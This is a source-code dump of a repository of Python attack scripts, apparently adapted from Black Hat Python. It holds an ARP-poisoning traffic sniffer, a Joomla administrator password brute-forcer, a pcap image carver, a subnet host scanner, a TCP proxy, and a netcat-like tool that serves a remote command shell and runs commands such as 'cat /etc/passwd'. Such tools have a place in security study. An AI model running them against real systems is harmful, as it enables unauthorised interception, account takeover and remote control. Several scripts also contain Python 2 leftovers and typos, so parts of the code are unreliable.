time.sleep(2) 93 | except KeyboardInterrupt: 94 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) 95 | 96 | print("[*] ARP poison attack finished.") 97 | return 98 | 99 | 100 | gateway_mac = get_mac(gateway_ip) 101 | 102 | if gateway_mac is None: 103 | print("[!!!] Failed to get gateway MAC. Exiting.") 104 | sys.exit(0) 105 | else: 106 | print("[*] Gateway {} is at {} ".format(gateway_ip, gateway_mac)) 107 | 108 | target_mac = get_mac(target_ip) 109 | 110 | if target_mac is None: 111 | print("[!!!] Failed to get target MAC. Exiting.") 112 | sys.exit(0) 113 | else: 114 | print("[*] Target {} is at {}".format(target_ip, target_mac)) 115 | 116 | # start poison thread 117 | poison_thread = threading.Thread( 118 | target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac) 119 | ) 120 | poison_thread.start() 121 | 122 | try: 123 | print("[*] Starting sniffer for {} packets".format(packet_count)) 124 | 125 | bpf_filter = "ip host {}".format(target_ip) 126 | 127 | packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) 128 | 129 | # write out the captured packets 130 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) 131 | 132 | except: 133 | # restore the network 134 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) 135 | sys.exit(0) -------------------------------------------------------------------------------- /joomla_killer.py: -------------------------------------------------------------------------------- 1 | import http.cookiejar 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | from abc import ABC 8 | from html.parser import HTMLParser 9 | 10 | # general settings 11 | user_thread = 10 12 | username = "admin" 13 | wordlist_file = "INSERT-WORDLIST" 14 | resume = None 15 | 16 | # target specific settings 17 | target_url = "http://192.168.1.3/administrator/index.php" 18 | target_post = "http://192.168.1.3/administrator/index.php" 19 | 20 | username_field = "username" 21 | password_field = "passwd" 22 | 23 | success_check = "Administration - Control Panel" 24 | 25 | 26 | class BruteParser(HTMLParser, ABC): 27 | def __init__(self): 28 | HTMLParser.__init__(self) 29 | self.tag_results = {} 30 | 31 | def handle_starttag(self, tag, attrs): 32 | if tag == "input": 33 | tag_name = None 34 | for name, value in attrs: 35 | if name == "name": 36 | tag_name = value 37 | if tag_name: 38 | self.tag_results[tag_name] = value 39 | 40 | 41 | class Bruter(object): 42 | def __init__(self, user, words_q): 43 | self.username = user 44 | self.password_q = words_q 45 | self.found = False 46 | print("Finished setting up for: %s" % user) 47 | 48 | def run_bruteforce(self): 49 | for i in range(user_thread): 50 | t = threading.Thread(target=self.web_bruter) 51 | t.start() 52 | 53 | def web_bruter(self): 54 | while not self.password_q.empty() and not self.found: 55 | brute = self.password_q.get().rstrip() 56 | jar = http.cookiejar.FileCookieJar("cookies") 57 | opener = urllib.request.build_opener( 58 | urllib.request.HTTPCookieProcessor(jar) 59 | ) 60 | 61 | response = opener.open(target_url) 62 | 63 | page = response.read() 64 | 65 | print( 66 | "Trying: %s : %s (%d left)" 67 | % (self.username, brute, self.password_q.qsize()) 68 | ) 69 | 70 | # parse out the hidden fields 71 | parser = BruteParser() 72 | parser.feed(page) 73 | 74 | post_tags = parser.tag_results 75 | 76 | # add our username and password fields 77 | post_tags[username_field] = self.username 78 | post_tags[password_field] = brute 79 | 80 | login_data = urllib.parse.urlencode(post_tags) 81 | login_response = opener.open(target_post, login_data) 82 | 83 | login_result = login_response.read() 84 | 85 | if success_check in login_result: 86 | self.found = True 87 | 88 | print("[*] Bruteforce successful.") 89 | print("[*] Username: %s" % username) 90 | print("[*] Password: %s" % brute) 91 | print("[*] Waiting for other threads to exit...") 92 | 93 | 94 | def build_wordlist(wordlst_file): 95 | # read in the word list 96 | fd = open(wordlst_file, "r") 97 | raw_words = [line.rstrip("\n") for line in fd] 98 | fd.close() 99 | 100 | found_resume = False 101 | word_queue = queue.Queue() 102 | 103 | for word in raw_words: 104 | word = word.rstrip() 105 | if resume is not None: 106 | if found_resume: 107 | word_queue.put(word) 108 | else: 109 | if word == resume: 110 | found_resume = True 111 | print("Resuming wordlist from: %s" % resume) 112 | else: 113 | word_queue.put(word) 114 | return word_queue 115 | 116 | 117 | words = build_wordlist(wordlist_file) 118 | bruter_obj = Bruter(username, words) 119 | bruter_obj.run_bruteforce() -------------------------------------------------------------------------------- /pic_carver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Tue Sept 7 18:37:30 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import re 10 | import zlib 11 | import cv2 12 | 13 | from scapy.all import * 14 | 15 | pictures_directory = "INSERT-PIC-DIR" 16 | faces_directory = "INSERT-FACES-DIR" 17 | pcap_file = "bhp.pcap" 18 | 19 | 20 | def face_detect(path, file_name): 21 | 22 | img = cv2.imread(path) 23 | cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") 24 | rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20, 20)) 25 | 26 | if len(rects) == 0: 27 | return False 28 | 29 | rects[:, 2:] += rects[:, :2] 30 | 31 | # highlight the faces in the image 32 | for x1, y1, x2, y2 in rects: 33 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) 34 | 35 | cv2.imwrite("{}{}-{}".format(faces_directory, pcap_file, file_name), img) 36 | 37 | return True 38 | 39 | 40 | def get_http_headers(http_payload): 41 | try: 42 | # split the headers off it is HTTP traffic 43 | headers_raw = http_payload[: http_payload.index("\r\n\r\n") + 2] 44 | 45 | # break out the headers 46 | headers = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw)) 47 | except: 48 | return None 49 | 50 | if "Content-Type" not in headers: 51 | return None 52 | 53 | return headers 54 | 55 | 56 | def extract_image(headers, http_payload): 57 | image = None 58 | image_type = None 59 | 60 | try: 61 | if "image" in headers["Content-Type"]: 62 | 63 | # grab the image type and image body 64 | image_type = headers["Content-Type"].split("/")[1] 65 | image = http_payload[http_payload.index("\r\n\r\n") + 4 :] 66 | 67 | # if we detect compression decompress the image 68 | try: 69 | if "Content-Encoding" in headers.keys(): 70 | if headers["Content-Encoding"] == "gzip": 71 | image = zlib.decompress(image, 16 + zlib.MAX_WBITS) 72 | elif headers["Content-Encoding"] == "deflate": 73 | image = zlib.decompress(image) 74 | except: 75 | pass 76 | except: 77 | return None, None 78 | 79 | return image, image_type 80 | 81 | 82 | def http_assembler(pcap_file): 83 | carved_images = 0 84 | faces_detected = 0 85 | a = rdpcap(pcap_file) 86 | sessions = a.sessions() 87 | for session in sessions: 88 | http_payload = "" 89 | for packet in sessions[session]: 90 | try: 91 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 92 | # reassemble the stream 93 | http_payload += str(packet[TCP].payload) 94 | except: 95 | pass 96 | 97 | headers = get_http_headers(http_payload) 98 | if headers is None: 99 | continue 100 | 101 | image, image_type = extract_image(headers, http_payload) 102 | if image is not None and image_type is not None: 103 | # store the image 104 | file_name = "{}-pic_carver_{}.{}".format( 105 | pcap_file, carved_images, image_type 106 | ) 107 | 108 | fd = open("{}/{}".format(pictures_directory, file_name), "wb") 109 | fd.write(image) 110 | fd.close() 111 | carved_images += 1 112 | 113 | # now attempt face detection 114 | try: 115 | result = face_detect( 116 | "{}/{}".format(pictures_directory, file_name), file_name 117 | ) 118 | if result is True: 119 | faces_detected += 1 120 | except: 121 | pass 122 | 123 | return carved_images, faces_detected 124 | 125 | 126 | carved_images, faces_detected = http_assembler(pcap_file) 127 | 128 | print("Extracted: {} images".format(carved_images)) 129 | print("Detected: {} images".format(faces_detected)) 130 | -------------------------------------------------------------------------------- /scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Tue Jun 23 12:18:41 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | 11 | import threading 12 | import time 13 | import os 14 | import struct 15 | from netaddr import IPNetwork, IPAddress 16 | from ctypes import * 17 | 18 | # host to listen on 19 | host = "192.168.0.180" 20 | 21 | # subnet to target 22 | subnet = "192.168.0.0/24" 23 | 24 | # magic string we'll check ICMP responses for 25 | magic_message = "PYTHONRULES!" 26 | 27 | # this sprays out the UDP datagram 28 | def udp_sender(subnet, magic_message): 29 | time.sleep(5) 30 | sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 31 | 32 | for ip in IPNetwork(subnet): 33 | 34 | try: 35 | sender.sendto(magic_message, ("{}".format(ip, 65212))) 36 | except: 37 | pass 38 | 39 | 40 | # our IP header 41 | class IP(Structure): 42 | _fields_ = [ 43 | ("ihl", c_ubyte, 4), 44 | ("version", c_ubyte, 4), 45 | ("tos", c_ubyte), 46 | ("len", c_ushort), 47 | ("id", c_ushort), 48 | ("offset", c_ushort), 49 | ("ttl", c_ubyte), 50 | ("protocol_num", c_ubyte), 51 | ("sum", c_ushort), 52 | ("src", c_uint32), 53 | ("dst", c_uint32), 54 | ] 55 | 56 | def __new__(self, socket_buffer=None): 57 | return self.from_buffer_copy(socket_buffer) 58 | 59 | def __init__(self, socket_buffer=None): 60 | 61 | # map protocol constants to their names 62 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 63 | 64 | # human readable IP adresses 65 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 66 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 67 | 68 | # human readable protocol 69 | try: 70 | self.protocol = self.protocol_map[self.protocol_num] 71 | except: 72 | self.protocol = str(self.protocol_num) 73 | 74 | 75 | # our ICMP header 76 | class ICMP(Structure): 77 | 78 | _fields_ = [ 79 | ("type", c_ubyte), 80 | ("code", c_ubyte), 81 | ("checksum", c_ushort), 82 | ("unused", c_ushort), 83 | ("next_hop_mtu", c_ushort), 84 | ] 85 | 86 | def __new__(self, socket_buffer): 87 | return self.from_buffer_copy(socket_buffer) 88 | 89 | def __init(self, socket_buffer): 90 | pass 91 | 92 | 93 | # check the OS 94 | if os.name == "nt": 95 | socket_protocol = socket.IPPROTO_IP 96 | else: 97 | socket_protocol = socket.IPPROTO_ICMP 98 | 99 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 100 | 101 | sniffer.bind((host, 0)) 102 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 103 | 104 | if os.name == "nt": 105 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 106 | 107 | # start threading packets 108 | t = threading.Thread(target=upd_sender, args=(subnet, magic_message)) 109 | t.start() 110 | 111 | try: 112 | while True: 113 | 114 | # read in a packet 115 | raw_buffer = sniffer.recvfrom(65565)[0] 116 | 117 | # create an IP header from the first 20 bytes of the buffer 118 | ip_header = IP(raw_buffer[:20]) 119 | 120 | # print out the protocol that was detected and the hosts 121 | print( 122 | "Protocol {} {} -> {}".format( 123 | ip_header.protocol, ip_header.src_address, ip_header.dst_address 124 | ) 125 | ) 126 | 127 | # if it's ICMP, we want it 128 | if ip_header.protocol == "ICMP": 129 | 130 | # calculate where our ICMP packet starts 131 | offset = ip_header.ihl * 4 132 | buf = raw_buffer[offset : offset + sizeof(ICMP)] 133 | 134 | # create a new ICMP structure 135 | icmp_header = ICMP(buf) 136 | 137 | print( 138 | "ICMP -> Type: {} Code: {}".format(icmp_header.type, icmp_header.code) 139 | ) 140 | 141 | if icmp_header.code == 3 and icmp_header.type == 3: 142 | 143 | # make sure host is our target subnet 144 | if IPAddress(ip_header.src_address) in IPNetwork(subnet): 145 | 146 | # make sure it has our magic message 147 | if ( 148 | raw_buffer[len(raw_buffer) - len(magic_message) :] 149 | == magic_message 150 | ): 151 | print("Host Up: {}".format(ip_header.src_address)) 152 | 153 | # handle CTRL + C 154 | except KeyboardInterrupt: 155 | 156 | # if we're using Windows, turn off promiscuous mode 157 | if os.name == "nt": 158 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 159 | -------------------------------------------------------------------------------- /tcp_proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 19:15:47 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import sys 10 | import socket 11 | import threading 12 | 13 | 14 | def server_loop(local_host, local_port, remote_host, remote_port, receive_first): 15 | 16 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | 18 | try: 19 | server.bind((local_port, local_host)) 20 | except: 21 | print("[!!] Failed to listen on {}:{}".format(local_host, local_port)) 22 | print("[!!] Check for other listening sockets or correct permissions.") 23 | sys.exit(0) 24 | 25 | print("[*] Listening on {}:{}".format(local_host, local_port)) 26 | 27 | server.listen(5) 28 | 29 | while True: 30 | client_socket, addr = server.accept() 31 | 32 | # print out the local connection information 33 | print("[==>] Received incoming connection from {}:{}".format(addr[0], addr[1])) 34 | 35 | # start a thread to talk to the remote host 36 | proxy_thread = threading.Thread( 37 | target=proxy_handler, 38 | args=(client_socket, remote_host, remote_port, receive_first), 39 | ) 40 | 41 | proxy_thread.start() 42 | 43 | 44 | # this is a pretty hex dumping function directly taken from 45 | # the comments here: 46 | # https://code.activestate.com/recipes/142812-hex-dumper/ 47 | def hexdump(src, length=16): 48 | result = [] 49 | digits = 4 if isinstance(src, unicode) else 2 50 | 51 | for i in xrange(0, len(src), length): 52 | s = src[i : i + length] 53 | hexa = b" ".join(["{}0*X".format(digits, ord(x)) for x in s]) 54 | text = b"".join([x if 0x20 <= ord(x) < 0x7F else b"." for x in s]) 55 | result.append(b"{}04X {}-*s {}s".format(i, length * (digits + 1), hexa, text)) 56 | 57 | print(b"\n".join(result)) 58 | 59 | 60 | def receive_from(connection): 61 | 62 | buffer = "" 63 | 64 | # We set a 2 second timeout; depending on your 65 | # target, this may need to be adjusted 66 | connection.settimeout(2) 67 | 68 | try: 69 | # keep reading into the buffer until 70 | # there's no more data 71 | # or we time out 72 | while True: 73 | data = connection.recv(4096) 74 | if not data: 75 | break 76 | 77 | buffer += data 78 | 79 | except: 80 | pass 81 | 82 | return buffer 83 | 84 | 85 | # modify any requests defined for the remote host 86 | def request_handler(buffer): 87 | # perform packet modifications 88 | return buffer 89 | 90 | 91 | # modify any responses destined for the local host 92 | def response_handler(buffer): 93 | # perform packet modifications 94 | return buffer 95 | 96 | 97 | def proxy_handler(client_socket, remote_host, remote_port, receive_first): 98 | 99 | # connect to the remote host 100 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 101 | remote_socket.connect((remote_host, remote_port)) 102 | 103 | # receive data from the remote end if necessary 104 | if receive_first: 105 | 106 | remote_buffer = receive_from(remote_socket) 107 | hexdump(remote_buffer) 108 | 109 | # send it to our response handler 110 | remote_buffer = response_handler(remote_buffer) 111 | 112 | # if we have data to send to out client, send it 113 | if len(remote_buffer): 114 | print("[<==] Sending {} bytes to localhost".format(len(remote_buffer))) 115 | client_socket.send(remote_buffer) 116 | 117 | # now lets loop and read from local, 118 | # send to remote, send to local, 119 | # rinse, wash, repeat. 120 | while True: 121 | 122 | # read from local host 123 | local_buffer = receive_from(client_socket) 124 | 125 | if len(local_buffer): 126 | print("[==>] Received {} bytes from localhost".format(len(local_buffer))) 127 | hexdump(local_buffer) 128 | 129 | # send it to our request handler 130 | local_buffer = request_handler(local_buffer) 131 | 132 | # send off the data to the remote host 133 | remote_socket.send(local_buffer) 134 | print("[==>] Sent to remote.") 135 | 136 | # receive back the response 137 | remote_buffer = receive_from(remote_socket) 138 | 139 | if len(remote_buffer): 140 | 141 | print("[<==] Received {} bytes from remote".format(len(remote_buffer))) 142 | hexdump(remote_buffer) 143 | 144 | # send to our response handler 145 | remote_buffer = response_handler(remote_buffer) 146 | 147 | # send the response to the local socket 148 | client_socket.send(remote_buffer) 149 | 150 | print("[<==] Sent to localhost.") 151 | 152 | # if no more data on either side, close the connections 153 | if not len(local_buffer) or not len(remote_buffer): 154 | client_socket.close() 155 | remote_socket.close() 156 | print("[*] No more data. Closing connections.") 157 | 158 | break 159 | 160 | 161 | def main(): 162 | # no fancy command-line parsing here 163 | if len(sys.argv[1:]) != 5: 164 | print( 165 | "Usage: python3 proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]" 166 | ) 167 | print("Example: python3 proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 168 | 169 | # setup local listening parameters 170 | local_host = sys.argv[1] 171 | local_port = int(sys.argv[2]) 172 | 173 | # setup remote target 174 | remote_host = sys.argv[3] 175 | remote_port = int(sys.argv[4]) 176 | 177 | # this tells our proxy to connect and receive data 178 | # before sending to the remote host 179 | receive_first = sys.argv[5] 180 | 181 | if "True" in receive_first: 182 | receive_first = True 183 | else: 184 | receive_first = False 185 | 186 | # now spin up our listening socket 187 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 188 | 189 | 190 | main() 191 | -------------------------------------------------------------------------------- /bhpnet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 17:22:56 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import sys 10 | import socket 11 | import getopt 12 | import threading 13 | import subprocess 14 | 15 | # define some global variables 16 | listen = False 17 | command = False 18 | upload = False 19 | execute = "" 20 | target = "" 21 | upload_destination = "" 22 | port = 0 23 | 24 | print( 25 | """ 26 | ____ _ _ ____ _ _ _ 27 | | __ )| | | | _ \| \ | | ___| |_ 28 | | _ \| |_| | |_) | \| |/ _ \ __| 29 | | |_) | _ | __/| |\ | __/ |_ 30 | |____/|_| |_|_| |_| \_|\___|\__|""" 31 | ) 32 | 33 | 34 | def usage(): 35 | print("") 36 | print("Usage: bhpnet.py -t target_host -p port") 37 | print( 38 | """-l --listen - listen on [host]:[port] for 39 | incoming connections""" 40 | ) 41 | print( 42 | """-e --execute=fle_to_run - execute the given file upon 43 | receiving a connection""" 44 | ) 45 | print("""-c --command - initialize a command shell""") 46 | print( 47 | """-u --upload=destination - upon receiving connection upload a 48 | file and write to [destination]""" 49 | ) 50 | print("") 51 | print("") 52 | print("Examples: ") 53 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c") 54 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=C:\\target.exe") 55 | print('bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd"') 56 | print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") 57 | 58 | sys.exit(0) 59 | 60 | 61 | def main(): 62 | global listen 63 | global port 64 | global execute 65 | global command 66 | global upload_destination 67 | global target 68 | 69 | if not len(sys.argv[1:]): 70 | usage() 71 | 72 | # read the command line options 73 | try: 74 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:"), [ 75 | "help", 76 | "listen", 77 | "execute", 78 | "target", 79 | "port", 80 | "command", 81 | "upload", 82 | ] 83 | except getopt.GetoptError as err: 84 | print(str(err)) 85 | usage() 86 | 87 | opts = opts[0] 88 | for o, a in opts: 89 | if o in ("-h", "--help"): 90 | usage() 91 | elif o in ("-l", "--listen"): 92 | listen = True 93 | elif o in ("-e", "--execute"): 94 | execute = a 95 | elif o in ("-c", "--command"): 96 | command = True 97 | elif o in ("-u", "--upload"): 98 | upload_destination = a 99 | elif o in ("-t", "--target"): 100 | target = a 101 | elif o in ("-p", "--port"): 102 | port = int(a) 103 | else: 104 | assert False, "Unhandled Option" 105 | 106 | # are we going to listen or just send data from stdin? 107 | if not listen and len(target) and port > 0: 108 | 109 | # read in the buffer from the commandline 110 | # this will block, so send CTRL-D if not sending input 111 | # to stdin 112 | buffer = sys.stdin.read() 113 | 114 | # send data off 115 | client_sender(buffer) 116 | 117 | # we are going to listen and potentially 118 | # upload things, execute commands, and drop a shell back 119 | # depending on our command line options above 120 | if listen: 121 | server_loop() 122 | 123 | 124 | def server_loop(): 125 | global target 126 | 127 | # if no target is defined, we listen on all interfaces 128 | if not len(target): 129 | target = "0.0.0.0" 130 | 131 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 132 | server.bind((target, port)) 133 | 134 | server.listen(5) 135 | 136 | while True: 137 | client_socket, addr = server.accept() 138 | 139 | # spin off a thread to handle out new client 140 | client_thread = threading.Thread(target=client_handler, args=(client_socket,)) 141 | client_thread.start() 142 | 143 | 144 | def client_sender(buffer): 145 | 146 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 147 | 148 | try: 149 | # connect to our target host 150 | client.connect((target, port)) 151 | 152 | if len(buffer): 153 | client.send(buffer) 154 | 155 | while True: 156 | # now wait for data back 157 | recv_len = 1 158 | response = "" 159 | 160 | while recv_len: 161 | 162 | data = client.recv(4096) 163 | recv_len = len(data) 164 | response += data.decode(errors="ignore") 165 | 166 | if recv_len < 4096: 167 | break 168 | 169 | print(response) 170 | 171 | # wait for more input 172 | buffer = input("") 173 | buffer += "\n" 174 | 175 | # send it off 176 | client.send(buffer.encode()) 177 | except: 178 | print("[*] Exception! Exiting") 179 | 180 | # tear down the connection 181 | client.close() 182 | 183 | 184 | def client_handler(client_socket): 185 | global upload 186 | global execute 187 | global command 188 | 189 | # check for upload 190 | if len(upload_destination): 191 | 192 | # read in all of the bytes and write to out destination 193 | file_buffer = "" 194 | 195 | # keep reading data until none is available 196 | while True: 197 | data = client_socket.recv(1024) 198 | 199 | if not data: 200 | break 201 | else: 202 | file_buffer += data 203 | 204 | # now we take these bytes and try to write them out 205 | try: 206 | file_descriptor = open(upload_destination, "wb") 207 | file_descriptor.write(file_buffer) 208 | file_descriptor.close() 209 | 210 | # acknowledge that we wrote the file out 211 | client_socket.send( 212 | b"Succesfully saved file to {}\r\n".format(upload_destination) 213 | ) 214 | except: 215 | client_socket.send( 216 | b"Failed to save file to {}\r\n".format(upload_destination) 217 | ) 218 | 219 | # check for command execution 220 | if len(execute): 221 | 222 | # run the command 223 | output = run_command(execute) 224 | 225 | client_socket.send(output) 226 | 227 | # now we go into another loop if a command shell was requested 228 | if command: 229 | 230 | while True: 231 | # show a simple prompt 232 | client_socket.send(b" ") 233 | 234 | # now we receive until we see a linefeed (enter key) 235 | cmd_buffer = b"" 236 | while b"\n" not in cmd_buffer: 237 | cmd_buffer += client_socket.recv(1024) 238 | 239 | # send back the command output 240 | response = run_command(cmd_buffer) 241 | 242 | # send back the response 243 | client_socket.send(response) 244 | 245 | 246 | def run_command(command): 247 | 248 | # trim the newline 249 | command = command.rstrip() 250 | 251 | # run the command and get the output back 252 | try: 253 | output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) 254 | except: 255 | output = "Failed to execute command.\r\n" 256 | 257 | # send the output back to th client 258 | return output 259 | 260 | 261 | main() --------------------------------------------------------------------------------